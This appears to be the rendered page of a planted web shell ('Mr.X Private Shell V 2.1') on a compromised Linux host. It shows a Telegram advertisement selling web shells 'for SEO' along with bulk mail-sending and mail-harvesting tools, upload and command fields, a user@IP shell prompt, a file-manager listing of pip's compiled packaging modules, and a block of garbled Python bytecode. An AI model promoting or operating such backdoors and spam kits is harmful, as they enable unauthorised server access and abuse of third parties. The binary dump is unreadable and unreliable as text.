__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.122: ~ $
U

��.e��@sJddlmZmZmZddlZddlmZmZe�d�Z	dd�Z
dd	�ZdS)
�)�absolute_import�division�print_functionN�)�InvalidVersion�Versionz[-_.]+cCst�d|���S)N�-)�_canonicalize_regex�sub�lower)�name�r
�?/usr/lib/python3.8/site-packages/pip/_vendor/packaging/utils.py�canonicalize_namesrc
Cs�zt|�}Wntk
r$|YSXg}|jdkrF|�d�|j��|�t�ddd�dd�|jD����|j	dk	r�|�d�d	d�|j	D���|j
dk	r�|�d
�|j
��|jdk	r�|�d�|j��|jdk	r�|�d�|j��d�|�S)
z�
    This is very similar to Version.__str__, but has one subtle differences
    with the way it handles the release segment.
    rz{0}!z(\.0)+$��.css|]}t|�VqdS�N��str��.0�xr
r
r�	<genexpr>'sz'canonicalize_version.<locals>.<genexpr>Ncss|]}t|�VqdSrrrr
r
rr+sz.post{0}z.dev{0}z+{0})
rrZepoch�append�format�rer
�join�releaseZpreZpostZdevZlocal)�version�partsr
r
r�canonicalize_versions"

&



r )Z
__future__rrrrrrr�compiler	rr r
r
r
r�<module>s



Filemanager

Name Type Size Permission Actions
__about__.cpython-38.opt-1.pyc File 697 B 0644
__about__.cpython-38.pyc File 697 B 0644
__init__.cpython-38.opt-1.pyc File 535 B 0644
__init__.cpython-38.pyc File 535 B 0644
_compat.cpython-38.opt-1.pyc File 971 B 0644
_compat.cpython-38.pyc File 971 B 0644
_structures.cpython-38.opt-1.pyc File 2.69 KB 0644
_structures.cpython-38.pyc File 2.69 KB 0644
markers.cpython-38.opt-1.pyc File 8.61 KB 0644
markers.cpython-38.pyc File 8.71 KB 0644
requirements.cpython-38.opt-1.pyc File 3.88 KB 0644
requirements.cpython-38.pyc File 3.88 KB 0644
specifiers.cpython-38.opt-1.pyc File 19.26 KB 0644
specifiers.cpython-38.pyc File 19.26 KB 0644
tags.cpython-38.opt-1.pyc File 10.55 KB 0644
tags.cpython-38.pyc File 10.55 KB 0644
utils.cpython-38.opt-1.pyc File 1.39 KB 0644
utils.cpython-38.pyc File 1.39 KB 0644
version.cpython-38.opt-1.pyc File 11.78 KB 0644
version.cpython-38.pyc File 11.78 KB 0644